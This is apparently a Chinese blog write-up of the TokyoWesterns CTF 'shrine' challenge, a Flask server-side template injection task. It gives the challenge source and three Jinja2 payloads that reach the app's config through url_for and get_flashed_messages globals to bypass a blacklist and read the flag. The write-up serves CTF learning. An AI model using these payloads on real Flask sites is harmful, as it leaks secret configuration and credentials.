信息:

题目来源:TokyoWesterns CTF

标签:flaskSSTI

解题过程

构建题目环境后,访问主页可以获得程序源码:

import flask
import os app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/')
def index():
return open(__file__).read() @app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__':
app.run(debug=True)

分析代码:

  1. 程序绑定了两个web页面;
  2. 访问根目录会得到程序源代码;
  3. shrine目录下存在渲染模板的函数,有可能是突破口;
  4. FLAG存在flask框架的config文件中;
  5. 对于输入的部分有过滤

进行简单的测试:

但是发现代码会将(,)替换为空格。拼接到{% set config=None%}{% set self=None%}后。

并将selfconfig设置为黑名单。

如果没有黑名单的时候,我们可以传入 config,或者传入{{self.__dict__}}获取,但当这些被过滤的时候,我们需要借助一些全局变量利用沙箱逃逸的方法,来调用被禁用的函数对象。

大佬的经验如下:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

使用前两条payload都可以得到flag。

参考

CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】

最新文章

  1. Ext JS - 问答
  2. CodeForces比赛总结表
  3. Linux命令之route - 显示和操作IP路由表
  4. linux内存分配
  5. ACM 喷水装置(一)
  6. 如何为自己的项目在pycharm中设置debug?
  7. [转载]python中将普通对象作为 字典类(dict) 使用
  8. Hbase学习记录(1)|伪分布式安装
  9. linq 之左连接
  10. 【ruby on rail 项目之 VPS下载机】
  11. Windows系统的安装
  12. Linux入门篇(三)——文件与目录
  13. 【repost】图解Javascript上下文与作用域
  14. SQL BETWEEN 操作符
  15. Dubbo -- 系统学习 笔记 -- 安装手册
  16. Linux中禁用THP(Transparent Huge Pages)
  17. [poj1269]Intersecting Lines
  18. 百度云虚拟主机BCH安装PHP框架CodeIgniter
  19. Unity编辑器扩展chapter1
  20. Visionpro学习网

热门文章

  1. 【Jmeter】日常骚操作最简洁上传和下载
  2. centos6 升级python2.6 到 python2.7
  3. Java 源码刨析 - String
  4. JVM 之 Linux定位CPU过高问题及优化
  5. 五个Taurus垃圾回收compactor优化方案,减少系统资源占用
  6. 将反向传播讲解的深入透彻的神一样的文章(numpy实现人工神经网络)
  7. c++ cc24a_demo //转换函数,用来做转换操作符,int()括号里面必须是空的,必须定义为const,代码示范
  8. c++无法解析的外部符号 "int const bufferSize
  9. JavaWeb的登陆与注销功能
  10. 在Java虚拟机上班是一种怎样的体验?